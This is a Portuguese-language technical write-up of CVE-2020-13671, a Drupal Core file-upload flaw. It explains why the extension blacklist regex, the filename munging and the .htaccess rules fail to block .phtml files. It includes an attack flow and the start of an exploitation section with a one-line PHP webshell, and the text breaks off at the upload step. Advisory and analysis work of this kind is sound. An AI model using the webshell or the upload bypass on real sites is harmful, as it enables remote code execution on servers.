CVE-2020-13671

RCE via Upload de Arquivo — Drupal Core

Software: Drupal Core 8.7.5 (Afetadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alta)
CWE: CWE-434 — Upload sem Restrições de Arquivo com Tipo Perigoso
CISA KEV: Sim — Vulnerabilidade Conhecida e Explorada
Aviso: SA-CORE-2020-012

---

O que é o Drupal

O Drupal é um Sistema de Gerenciamento de Conteúdo (CMS) de código aberto escrito em PHP, semelhante ao WordPress ou Joomla, mas voltado para a construção de sistemas mais complexos — sites corporativos, plataformas multilíngues. O Drupal usa uma arquitetura modular, permitindo que a funcionalidade seja estendida habilitando/desabilitando módulos disponíveis ou instalando outros adicionais da comunidade.

Uma das funções básicas de qualquer CMS é permitir que usuários enviem arquivos — avatares de perfil, documentos anexos, anexos em artigos. O Drupal salva esses arquivos no diretório sites/default/files/ e os serve diretamente através do servidor web (Apache ou Nginx).

⇒ Isso cria uma superfície de ataque clara: se um atacante conseguir enviar um arquivo PHP para esse diretório, o servidor web o executará quando acessado por meio de uma requisição de entrada.

Para evitar isso, o Drupal constrói múltiplas camadas de defesa: validando extensões de arquivo, renomeando arquivos perigosos, colocando .htaccess para bloquear a execução de scripts no diretório de upload. Mas na versão 8.7.5, os atacantes exploram exatamente o ponto cego nessas camadas.

Condições de Exploração

Essa vulnerabilidade requer uma conta com permissões de upload de arquivos. Por padrão, no Drupal 8.7.5, usuários comuns (Autenticados) só têm permissões para visualizar conteúdo e postar comentários — nenhuma permissão para criar artigos ou enviar arquivos.

Conta	Explorável?	Explicação
Administrador	Sim	Permissões totais de upload
Editor / Criador de Conteúdo	Sim	Se tiver a permissão "Criar conteúdo" concedida com upload pelo admin
Usuário autenticado (padrão)	Não	Por padrão, não tem permissão para criar conteúdo ou enviar arquivos
Anônimo (não logado)	Não	Sem permissão de upload

Porém, na prática, muitos sites Drupal concedem permissões de criação de conteúdo a usuários comuns (fóruns, blogs comunitários, sites de notícias que permitem envio de artigos). Nesses casos, um atacante só precisa registrar uma conta para explorá-la.

Fluxo de Ataque:

Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Causa Raiz ( CAUSA RAIZ )

No arquivo core/modules/file/file.module, há uma única regex que determina quais arquivos são considerados executáveis:

define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Essa regex lista 7 extensões: phar, php, pl, py, cgi, asp, js. Qualquer arquivo com uma extensão que corresponda a essa lista terá .txt adicionado automaticamente pelo Drupal — neutralizando a capacidade de execução.

No entanto, o motor PHP não processa apenas arquivos .php. Dependendo da configuração do servidor web, ele também reconhece e executa outras extensões:

Extensão	Significado	Incluída na regex?
.php	PHP padrão	Sim
.phtml	Template alternativo PHP	Não
.php5	Manipulador PHP 5	Não
.pht	Template PHP	Não
.phps	Código-fonte PHP	Não
.shtml	Server-Side Includes	Não

5 variantes de extensão PHP estão completamente ausentes da regex. Isso significa que um arquivo chamado shell.phtml enviado ao Drupal → a regex não corresponde → não é renomeado → salvo com seu nome original no diretório de upload → o servidor web vê .phtml → executa como PHP → o atacante obtém RCE. Essa é a causa raiz: o Drupal usava uma blacklist para bloquear extensões perigosas, mas essa lista estava incompleta.

Análise de Cada Camada de Defesa

Quando um usuário envia um arquivo, o Drupal o passa por 3 funções de validação antes de salvar. Abaixo está uma análise de por que todas as 3 falham com .phtml.

Camada 1 — file_munge_filename() (core/includes/file.inc)

Objetivo: detectar extensões perigosas localizadas no meio do nome do arquivo e adicionar _ para neutralizá-las. Como a função funciona:

$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Por exemplo, com shell.phtml:

• explode divide em ["shell", "phtml"]
• shift pega "shell", deixando ["phtml"]
• pop pega "phtml", deixando []
• O array do meio está vazio → foreach não executa
• Retorna "shell.phtml" intacto

Porém, se o arquivo tiver apenas uma extensão, ela não intervém. Assim, essa função foi projetada apenas para lidar com arquivos de múltiplas extensões.

Camada 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Esta é a principal camada de defesa. Código na linha 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Se o nome do arquivo corresponder à regex → altere o MIME para text/plain e adicione .txt ao final.

Com shell.phtml:

• preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retorna 0
• Sem correspondência → não entra no bloco if → o arquivo mantém seu nome original

Assim, essa seção deveria ter bloqueado arquivos perigosos, mas como a regex não sabe que .phtml é perigoso, ela passa direto.

Camada 3 — .htaccess no diretório de upload

O Drupal coloca um arquivo .htaccess em sites/default/files/:

SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

A diretiva php_flag engine off desliga o motor PHP para todo o diretório, mas ela só se aplica ao mod_php5. O Drupal 8.7.5 roda em PHP 7, o que significa que mod_php7 está ativo e não desabilitado.

E o .htaccess também tem outras 3 fraquezas:

• Nginx não lê .htaccess — esse arquivo é completamente ineficaz no Nginx
• Apache configurado com AllowOverride None → .htaccess é ignorado
• Servidores usando PHP-FPM em vez de mod_php → a diretiva php_flag não tem efeito

Exploração

Passo 1 — Criar webshell

echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Passo 2 — Enviar arquivo